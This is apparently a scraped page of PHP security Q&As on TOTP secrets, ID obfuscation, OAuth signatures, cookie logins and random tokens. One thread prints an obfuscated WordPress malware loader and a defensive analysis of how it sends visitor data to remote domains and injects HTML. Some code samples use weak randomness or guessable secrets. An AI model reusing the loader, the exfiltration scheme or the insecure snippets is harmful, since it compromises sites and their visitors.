PHP - Google Authenticator URI codes don't always work - php

So i'm having a problem with google authenticator and my PHP.
So i'm using this library to generate QR codes: https://github.com/PHPGangsta/GoogleAuthenticator
So when I use my username to generate a code it works fine. I get something along the lines of:
otpauth://totp/username?secret=aCodeInBase32&issuer=Mysite
For my case it is:
otpauth://totp/NoahNok?secret=aCodeInBase32&issuer=Mysite
however when doing this for any other use I get an invalid token error on the Google Authenticator app. It doesnt matter what else I put I always seem to get this error, yet it works fine for my account.
E.g this one doesn't work: otpauth://totp/Test?secret=KRSX&issuer=MySite
Is there something obvious im doing wrong?
Code im using:
Some queries before to get data
$g = new PHPGangsta_GoogleAuthenticator();
include("Base32.php");
$secret = substr(Base32::encode($username),0,-4);
echo $g->getQRCodeGoogleUrl($username, $secret, "MySite");
Generates QR URL
public function getQRCodeGoogleUrl($name, $secret, $title = null, $params = array())
{
$width = !empty($params['width']) && (int) $params['width'] > 0 ? (int) $params['width'] : 200;
$height = !empty($params['height']) && (int) $params['height'] > 0 ? (int) $params['height'] : 200;
$level = !empty($params['level']) && array_search($params['level'], array('L', 'M', 'Q', 'H')) !== false ? $params['level'] : 'M';
$urlencoded = urlencode('otpauth://totp/'.$name.'?secret='.$secret.'');
if (isset($title)) {
$urlencoded .= urlencode('&issuer='.urlencode($title));
}
return 'https://chart.googleapis.com/chart?chs='.$width.'x'.$height.'&chld='.$level.'|0&cht=qr&chl='.$urlencoded.'';
}

Base32 is padded out to the nearest multiple of 8 characters, so it won't always have ==== at the end to strip off. From your examples we get:
NoahNok => JZXWC2CON5VQ====
and:
Test => KRSXG5A=
So if you remove the last 4 characters always you'll create an invalid Base32 sequence for situations like the latter. You could instead use rtrim like so:
$secret = rtrim(Base32::encode($username), '=')
to just remove all trailing equals (or just leave them in).
Edit
I was just thinking about this and while the above will fix the proximate issue, generating the secret this way is probably not a good idea. If you think about it, setting the secret equal to the username means that if someone finds the username they can generate a valid OTP and therefore be able to pass their 2FA.
Secret should be unique and generally unguessable for this purpose, and the library you are using has a createSecret method to do this for you.

Related

Is this a good approach to "Obfuscate" User ID?

I need to provide users with a unique link that contains their USER ID (please do not suggest usage of UUID etc in this case)
It's not that important, but I still rather make sure it's very difficult to extract the user id or guess the next one etc! (even if it's achieved with security by obscurity...)
I came up with this solution:
// #var $id int|string
function obfuscate_number($id, bool $reverse=FALSE)
{
$changing = (int)substr($id, -1);
$multiplier = '45' . $changing;
$base = 25;
// Obfuscate Number
if($reverse === FALSE)
{
$new = bcmul("$id", "$multiplier", 0);
$convert = bcadd("$new", "$changing", 0);
$obf = base_convert($convert, 10, $base) . $changing;
return $obf;
}
// Reverse to Number
else
{
$deobf = base_convert(substr($id, 0, -1), $base, 10);
$convert = bcsub("$deobf", "$changing", 0);
// Simple Validation
if($convert % $multiplier !== 0) return FALSE;
$number = (int)bcdiv("$convert", "$multiplier", 0);
return $number;
}
}
// For example number 123456 => 5dnpfi6
// After reversing 5dnpfi6 => 123456
// For example number 563 => g81h3
// After reversing g81h3 => 563
If it is possible please help me improve it.
Also I think the chance of collision is 0 here, am I correct?
Possible Solutions
Slow
Hashing, hashing will allow you to send the hash out and without an extremely moderate amount of computations will not be put reversed into the user id. The server would hash, send string to client, client visits webpage, you lookup in a database of some sort matching hash with user id.
Fast (Recommended)
Using AES encryption will allow you to encrypt data that is generally guaranteed to be unbreakable if you follow AES guidelines. So an approach would be to encrypt data with AES and convert to base 64. Send the base64 to the user and when the user clicks the link, you simply just need to convert base 64 to binary, and decrypt. I would say this is considerably faster than the hashing approach.

Malicious code found in WordPress theme files. What does it do?

I discovered this code inserted at the top of every single PHP file inside of an old, outdated WordPress installation. I want to figure out what this script was doing, but have been unable to decipher the main hidden code. Can someone with experience in these matters decrypt it?
Thanks!
<?php if (!isset($GLOBALS["anuna"])) {
$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
if ((!strstr($ua, "msie")) and (!strstr($ua, "rv:11"))) $GLOBALS["anuna"] = 1;
} ?>
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#erro%x7824*<!%x5c%x7824-2bge56+99386c6f+9f5d816:+25)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x782mpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3825!*72!%x5c%x7827!hmg%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x782[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-d]51]y35]256]y76]72]y3d]51]y35]274]yeobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!*#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x78]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<bg!osvufs!|ftmf!~<**9.-j%x5c5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7dx7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5**b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x7sfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x7825bss%x5c%x785csbhpph#)zbssb!-#}#)fep:~:<*9-1-r%x5c%x7825)825,3,j%x5c%x7825>j%x5c%82f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%x7860bj+upcotn+qsvmt+fmc%x78786<C%x5c%x7827&6<*rfs%x5c1127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5%x7825-bubE{h%x5c%x7825)su34]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)25-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%xx7827)fepdof.)fepdof.%x5c%x782f###%V,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%xr_reporting(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%166%xy76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osv2%164") && (!isset($GLOBALS["%x61%156%x75%156%xu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%8257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]5j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%5c%x7825)fnbozcYufhA%x5c%x78272qj%x/(.*)/epreg_replacestvbowvmjj';
$uskbxljsbs = explode(chr((169 - 125)), '6393,48,9851,47,2858,50,3117,23,8291,22,9595,68,3457,33,7412,23,3914,63,6775,52,3088,29,1791,56,2150,28,6441,66,3140,43,1906,35,926,36,7276,35,2578,51,2993,59,275,45,6613,30,9241,42,9210,31,886,40,9989,41,5417,69,4931,62,1312,54,534,47,483,51,7223,53,10071,35,6190,50,3811,39,6142,48,2353,24,7062,23,6048,57,1266,46,3977,58,8168,55,1633,23,5272,63,2455,47,2659,30,6751,24,6827,38,2377,38,9554,41,3706,63,5644,70,4249,67,5105,50,4787,40,5574,24,1087,21,7389,23,1108,60,6277,47,6865,29,5486,28,8828,28,9283,26,1366,61,3223,27,6949,50,8506,23,3850,64,1739,52,9128,24,5714,20,9449,70,7435,62,8131,37,4653,70,0,29,4316,56,3572,68,4528,39,180,20,9379,70,200,35,1028,30,92,20,5025,38,7567,50,9519,35,2908,51,8672,58,8986,47,9152,58,9087,20,5879,29,3769,42,8029,45,5391,26,8333,25,5063,42,5203,69,9718,65,726,20,157,23,4567,33,1847,28,1212,54,9898,51,3640,66,6324,49,5155,48,61,31,9783,68,2271,36,815,38,7717,69,2793,42,5335,56,5543,31,3399,58,2629,30,6373,20,4372,65,8925,61,5598,23,362,57,7363,26,3353,46,3052,36,1581,52,2178,48,4180,20,853,33,1656,26,2766,27,5847,32,4993,32,1168,44,9663,55,2835,23,698,28,5908,51,6999,63,1530,51,419,64,9107,21,7617,37,7497,70,962,66,2415,40,4437,51,7786,70,4624,29,8730,39,8358,50,5988,60,8074,57,6105,37,4723,64,1682,57,1489,41,1058,29,3250,41,7155,29,3291,62,29,32,8408,59,5514,29,8313,20,3490,55,235,40,8223,68,8467,39,8636,36,7184,39,320,42,9033,34,6643,67,2521,57,2026,60,2959,34,7856,64,6240,37,4200,49,4827,66,1979,47,4893,38,581,48,1875,31,655,43,4035,53,5621,23,6507,46,6553,60,8769,59,7654,63,7920,49,8593,43,5734,68,5802,45,9309,70,1941,38,629,26,5959,29,9067,20,7085,70,9949,40,4088,56,10030,41,4144,36,8529,64,3545,27,4488,40,2307,46,2086,64,1427,62,6710,41,746,69,2689,20,2709,57,6894,55,2226,45,8856,26,8882,43,7311,52,3183,40,112,45,4600,24,7969,60,2502,19');
$aemhtmvyge = substr($nzujvbbqez, (69491 - 59385), (44 - 37));
if (!function_exists('hperlerwfe')) {
function hperlerwfe($opchjywcur, $oguxphvfkm) {
$frnepusuoj = NULL;
for ($yjjpfgynkv = 0;$yjjpfgynkv < (sizeof($opchjywcur) / 2);$yjjpfgynkv++) {
$frnepusuoj.= substr($oguxphvfkm, $opchjywcur[($yjjpfgynkv * 2) ], $opchjywcur[($yjjpfgynkv * 2) + 1]);
}
return $frnepusuoj;
};
}
$rfmxgmmowh = " /* orpuzttrsp */ eval(str_replace(chr((230-193)), chr((534-442)), hperlerwfe($uskbxljsbs,$nzujvbbqez))); /* unvtjodgmt */ ";
$yiffimogfj = substr($nzujvbbqez, (60342 - 50229), (38 - 26));
$yiffimogfj($aemhtmvyge, $rfmxgmmowh, NULL);
$yiffimogfj = $rfmxgmmowh;
$yiffimogfj = (470 - 349);
$nzujvbbqez = $yiffimogfj - 1; ?>
After digging though the obfuscated code untangling a number of preg_replace, eval, create_function statements, this is my try on explaining what the code does:
The code will start output buffering and register a callback function triggered at the end of buffering, e.g. when the output is to be sent to the web server.
First, the callback function will attempt to uncompress the output buffer contents if necessary using gzinflate, gzuncompress, gzdecode or a custom gzinflate based decoder (I have not dug any deeper into this).
With the contents uncompressed, a request will be made containing the $_SERVER values of
HTTP_USER_AGENT
HTTP_REFERER
REMOTE_ADDR
HTTP_HOST
PHP_SELF
... to the domain given by chars 0-8 or 8-15 (randomly picks one or the other) in an md5 hash of the IPv4 address of "stat-dns.com" appended with ".com", currently giving md5(".com" . <IPv4> ) => md5(".com8.8.8.8") => "54dfa1cb.com" / "33db9538.com".
The request will be attempted using file_get_contents, curl_exec, file and finally socket_write.
Note that no request will be made if:
any of the HTTP_USER_AGENT, REMOTE_ADDR or HTTP_HOST is empty/not set
PHP_SELF contains the word "admin"
HTTP_USER_AGENT contains any of the words "google", "slurp", "msnbot", "ia_archiver", "yandex" or "rambler".
Secondly, if the output buffer contents has a body or html tag, and the response from the request above (decoded using en2() function below) contains at least one "!NF0" string, the content between the first and second "!NF0" (or end of string) will be injected into the HTML page at the beginning of the body or in case there is no body tag, the html tag.
The code used for encoding/decoding traffic is this one:
function en2($s, $q) {
$g = "";
while (strlen($g) < strlen($s)) {
$q = pack("H*", md5($g . $q . "q1w2e3r4"));
$g .= substr($q, 0, 8);
}
return $s ^ $g;
}
$s is the string to encode/decode and $q is a random number between 100000 and 999999 acting as a key.
The request URL mentioned above is calculated like this:
$url = "http:// ... /"
. $op // Random number/key
. "?"
. urlencode(
urlencode(
base64_encode(en2( $http_user_agent, $op)) . "." .
base64_encode(en2( $http_referrer, $op)) . "." .
base64_encode(en2( $remote_addr, $op)) . "." .
base64_encode(en2( $http_host, $op)) . "." .
base64_encode(en2( $php_self, $op))
)
);
While I have not found any sign of what initially placed the malicious code on your server, or that it does anything else than allowing for bad HTML/JavaScript code to be injected on your web pages that does not mean that it is not still there.
You really should make a clean install, like suggested by #Bulk above:
The only way you'll ever know for sure it's been cleaned is to
re-install absolutely everything you can from scratch - i.e. fresh
wordpress install, fresh plugin install. Then literally comb every
line of your theme for anything out of the ordinary. Also of note,
they often will put things in wp-content/uploads that look like images
but aren't - check those too.
Pastebin here.

Twitter request token

I'm trying to work with the examples on the Twitter dev site but can't seem to get to the same signature as they have.
I am trying to complete step 3 on https://dev.twitter.com/docs/auth/implementing-sign-twitter because I am getting an error "Invalid or expired token" but I know it isn't because I've only just been given it, so it must be something wrong with my data packet.
The code I am using to try and generate this is:
// testing bit
$oauth = array(
'oauth_consumer_key'=>'cChZNFj6T5R0TigYB9yd1w',
'oauth_nonce'=>'a9900fe68e2573b27a37f10fbad6a755',
'oauth_signature_method'=>'HMAC-SHA1',
'oauth_timestamp'=>'1318467427',
'oauth_token'=>'NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0',
'oauth_version'=>'1.0'
);
$this->o_secret = 'LswwdoUaIvS8ltyTt5jkRh4J50vUPVVHtR2YPi5kE';
$this->c_secret = 'kAcSOqF21Fu85e7zjz7ZN2U4ZRhfV3WpwPAoE3Z7kBw';
ksort($oauth);
$string = rawurlencode(http_build_query($oauth));
$new_string = strtoupper($http_method).'&'.rawurlencode($main_url[0]).'&'.$string;
// The request_token request doesn't need a o_secret because it doesn't have one!
$sign_key = strstr($fullurl,'request_token') ? $this->c_secret.'&' : $this->c_secret.'&'.$this->o_secret;
echo urlencode(base64_encode(hash_hmac('sha1',$new_string,$sign_key,true)));exit;
And I'm assuming that the keys listed on this page are in fact correct: https://dev.twitter.com/docs/auth/creating-signature. So in that case the signature should be 39cipBtIOHEEnybAR4sATQTpl2I%3D.
If you can spot what I'm missing that would be great.
Your consumer secret and token secret are incorrect for the page you reference. If you look further up the page you can see that they should be:
Consumer secret: L8qq9PZyRg6ieKGEKhZolGC0vJWLw8iEJ88DRdyOg
Token secret: veNRnAWe6inFuo8o2u8SLLZLjolYDmDP7SzL0YfYI
Also in Step 3 you need to include the oauth_verifier in the list of parameters when calculating your signature base string.
I'm not familiar with PHP so I haven't checked your code to calculate the signature.
This code has now worked - I will tidy it up from there :)
// This function is to help work out step 3 in the process and why it is failing
public function testSignature(){
// testing bit
$oauth = array(
'oauth_consumer_key'=>'cChZNFj6T5R0TigYB9yd1w',
'oauth_nonce'=>'a9900fe68e2573b27a37f10fbad6a755',
'oauth_signature_method'=>'HMAC-SHA1',
'oauth_timestamp'=>'1318467427',
'oauth_token'=>'NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0',
'oauth_version'=>'1.0'
);
$this->o_secret = 'LswwdoUaIvS8ltyTt5jkRh4J50vUPVVHtR2YPi5kE';
$this->c_secret = 'kAcSOqF21Fu85e7zjz7ZN2U4ZRhfV3WpwPAoE3Z7kBw';
ksort($oauth);
$string = http_build_query($oauth);
$new_string = strtoupper($http_method).'&'.$main_url[0].'&'.$string;
$new_string = 'POST&https%3A%2F%2Fapi.twitter.com%2F1%2Fstatuses%2Fupdate.json&include_entities%3Dtrue%26oauth_consumer_key%3Dxvz1evFS4wEEPTGEFPHBog%26oauth_nonce%3DkYjzVBB8Y0ZFabxSWbWovY3uYSQ2pTgmZeNu2VS4cg%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D1318622958%26oauth_token%3D370773112-GmHxMAgYyLbNEtIKZeRNFsMKPR9EyMZeS9weJAEb%26oauth_version%3D1.0%26status%3DHello%2520Ladies%2520%252B%2520Gentlemen%252C%2520a%2520signed%2520OAuth%2520request%2521';
// The request_token request doesn't need a o_secret because it doesn't have one!
$sign_key = $this->c_secret.'&'.$this->o_secret;
echo 'Should be: tnnArxj06cWHq44gCs1OSKk/jLY=<br>';
echo 'We get: '.base64_encode(hash_hmac('sha1',$new_string,$sign_key,true));
exit;
}
you want to access token from twitter and sign in implementation you can see in this example.
1) http://www.codexworld.com/login-with-twitter-using-php/
and this one for timeline tweets
2) http://www.codexworld.com/create-custom-twitter-widget-using-php/
may be this help you .

How to secure an authentication cookie without SSL

I am in the process of creating a login system which uses both sessions (for those who disallow the use of cookies (to agree with the cookie law.. I am using the site http://www.cookielaw.org/the-cookie-law.aspx as a reference)
Now, I have this system for my cookie authentication
function GenerateString(){
$length = mt_rand(0,25);
$characters = '0123456789abcdefghijklmnopqrstuvwxyz';
$string = '';
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(5, strlen($characters) -1)];
}
return $string;
}
$RandomString = GenerateString();
$CookieAuth = $DB->prepare("INSERT INTO cookieauth (Username,RandomString) VALUES (?,?)");
$CookieAuth->bind_param('ss',$_POST['Username'],$RandomString);
$CookieAuth->execute(); // Insert the Authentication Methods into the database
$CookieAuth->close(); // Allow another query/statement
$GetInsertID = $DB->prepare("SELECT ID FROM CookieAuth WHERE RandomString=?");
$GetInsertID->bind_param('s',$Randomstring);
$GetInsertID->execute();
$GetInsertID->bind_result($RowID);
$GetInsertID->fetch();
$GetInsertID->close();
setcookie("Auth[ID]",$RowID);
setcookie("Auth[UName],$_POST['Username']);
setcookie("Auth[RandomString]",$RandomString);
Then to process the cookie:
if(isset($_COOKIE['Auth'])){
$Authenticate = $DB->prepare("SELECT Username,RandomString FROM cookieauth WHERE ID=?");
$Authenticate->bind_param('i',$_COOKIE['Auth']['ID']);
$Authenticate->execute();
$Authenticate->bind_result($RowUsername,$RowString);
$Authenticate->fetch();
$Authenticate->close();
if ($_Cookie['Auth']['UName'] == $RowUsername){
if ($_COOKIE['Auth']['RandomString'] == $RowString){
header("Location: LoggedIn.php");
}else{
die("Possible Cookie Manipulation, Autologin Cannot Continue");
}
}else{
die("Possible Cookie Manupulation, Autologin Cannot Continue!");
}
My overall objective is to provide an auto login feature by using cookies. As people should know they are essentially stored on the hard drive as plain text.. So If i include a randomly generated string which will be changed on further processing each time (then updating the cookie to match the database) is this a reasonably secure way to achieve the task? I mean, I understand that this is not 100% secure due to some users might attempt to manipulate the random string, so I could resort to a salt, random key then use hash_hmac to sha512 the salt+key and save that as the cookie...
My overall question, is the chunks I have provided a semi-secure method to process automatic logins via cookies and can minimize the possibility of some bad guys manipulating the keys to achieve the required data?
Introduction
Why do you want to authenticate cookie when that is exactly what sessions are going ? If you want to change the ID you can easily achieve that with session_regenerate_id as #MarcB has pointed.
My Assumptions
I want to assume i did not understand the question clearly and probably this is what you want to achieve
Store Values to Cookie
Know if such values have been modified
You solved it already
I could resort to a salt, random key then use hash_hmac to sha512 the salt+key and save that as the cookie...
That is exactly the the solution but you need to note that
Session Can Sill be hijacked
PHP has better ways of generating random strings
Imagine the overhead having to updated your mysql table every time for something sessions can easily do for you
using hash_hmac 512 would generate 126 in hex format you need to understand that there is Browser Cookie Limits so i suggest you reduce it to 256
Your Solution Modified
If we are going to use your solution we need some little modification
session_start();
// Strong private key stored Securly stored
// Used SESSION For demo
$privateKey = isset($_SESSION['key']) ? $_SESSION['key'] : mcrypt_create_iv(128, MCRYPT_DEV_URANDOM);
$my = new SignedCookie($privateKey);
$my->setCookie("test", "hello world", time() + 3600);
echo $my->getCookie("test");
Output
hello world
But the Data was stored like this :
This just uses hash_hmac to sign and verify your values and also uses a random variable to make sure the bad guys are not able to build table of possible values because really they don't have to break the hash .. the can just study it can also use a valid one previously used eg.
10 Cookies = AAAA
1 Cookie = BBBB
He can login with valid session and changed cookies from BBBB to AAAA so even if you re not storing to database always include a random argument
You can also still remove the cookies like this :
$my->setCookie("test", null, time() - 3600);
Simple Class Used
class SignedCookie {
private $prifix = '$x$';
private $privateKey;
function __construct($privateKey) {
$this->privateKey = $privateKey;
}
function setCookie($name, $value, $expire, $path = null, $domain = null, $secure = null, $httponly = null) {
$value = $value === null ? $value : $this->hash($value, mcrypt_create_iv(2, MCRYPT_DEV_URANDOM));
return setcookie($name, $value, $expire, $path, $domain, $secure, $httponly);
}
function getCookie($name, $ignore = false) {
if (! isset($_COOKIE[$name]) || empty($_COOKIE[$name]))
return null; // does not exist
if ($ignore === false) {
if (substr($_COOKIE[$name], 0, 3) !== $this->prifix)
return - 1; // modified
$data = pack("H*", substr($_COOKIE[$name], 3)); // Unpack hex
$value = substr($data, 32, - 2); // Get Value
$rand = substr($data, - 2, 2); // Get Random prifix
if ($this->hash($value, $rand) !== $_COOKIE[$name])
return - 1; // modified
return $value;
}
return $_COOKIE[$name];
}
function hash($value, $suffix) {
// Added random suffix to help the hash keep changing
return $this->prifix . bin2hex(hash_hmac('sha256', $value . $suffix, $this->privateKey, true) . $value . $suffix);
}
}
Conclusion
You are not a security expert Just Use so just use SSL (SSL also has its issues but far better) or Look for an existing secure authentication service. #ircmaxell reminded me of Schneier's Law recently :
#Baba: "surprise" is the enemy of security. The ONLY thing that should be secret is the private key. Remember Schneier's Law: Anyone can invent an encryption scheme that they themselves can't break. My answer is based on tried and true cryptographic principles.
well i think you should take to that advice too.

PHP - Create random hash string for email closed loop verification

I am currently working on a project which requires closed loop email verification. As part of the process I need to generate a random hash string which can be appended to a link sent to the user. When they click the link they will be directed to my site at which time the app will confirm the hash and complete the registration process. For all my hashing I have been using:
hash('sha256', $string);
But for this process, I need to seed $string with a random value. I have Zend Framework available and was looking to do something like this:
$crypt = new Zend_Filter_Encrypt_Mcrypt(array());
$hash = hash('sha256', $crypt->getVector());
My question is, is this a viable algorithm for generating random hash codes?
Here is the Zend_Filter_Encrypt_Mcrypt::setVector() method (generates the value returned via getVector():
public function setVector($vector = null)
{
$cipher = $this->_openCipher();
$size = mcrypt_enc_get_iv_size($cipher);
if (empty($vector)) {
$this->_srand();
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' && version_compare(PHP_VERSION, '5.3.0', '<')) {
$method = MCRYPT_RAND;
} else {
if (file_exists('/dev/urandom') || (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')) {
$method = MCRYPT_DEV_URANDOM;
} elseif (file_exists('/dev/random')) {
$method = MCRYPT_DEV_RANDOM;
} else {
$method = MCRYPT_RAND;
}
}
$vector = mcrypt_create_iv($size, $method);
} else if (strlen($vector) != $size) {
require_once 'Zend/Filter/Exception.php';
throw new Zend_Filter_Exception('The given vector has a wrong size for the set algorithm');
}
$this->_encryption['vector'] = $vector;
$this->_closeCipher($cipher);
return $this;
}
I'm not very familiar with ZF, but something that has the word Encrypt in it just sounds like the wrong approach.
The ->getVector() sounds similar to what the Initialization Vector does in symmetric encryption; the problem is that such a vector doesn't need to be cryptographically safe, just random. For instance, it may well be just implemented as uniqid(mt_rand()) or something.
->getVector() uses mcrypt to first initialize the encryption cipher to know how big the IV should be; this is typically 8 bytes, but it largely depends on the block size of the used cipher. The thing is, you're not encrypting anything; you just want a random sequence.
The better way to get a random sequence is by using openssl_random_pseudo_bytes() with a size of 8 bytes.
In its absence, you could also read from an entropy file such as /dev/random or /dev/urandom. Afterwards you can run it through binh2hex() to generate a hexadecimal string.
Something like this is pretty rudimentary but should work on Linux'y systems:
$rnd = bin2hex(file_get_contents('/dev/urandom', false, null, 0, 8));
As a fallback for Windows, you can still use something like:
$rnd = hash('sha256', uniqid(mt_rand(), true));
You may want to look into ircmaxell's CryptLib which has a fairly comprehensive suite of random generation features. If you use the medium strength random string generator, like so:
$generator = ( new CryptLib\Random\Factory() )->getMediumStrengthGenerator();
$string = $generator->generateString(LENGTH);
The library will use multiple cryptographically secure sources and run them through a mixer to generate a string. It's worth checking into if you just want a simple solution and don't want to recompile PHP with openssl.
See the readme on secure string generation.

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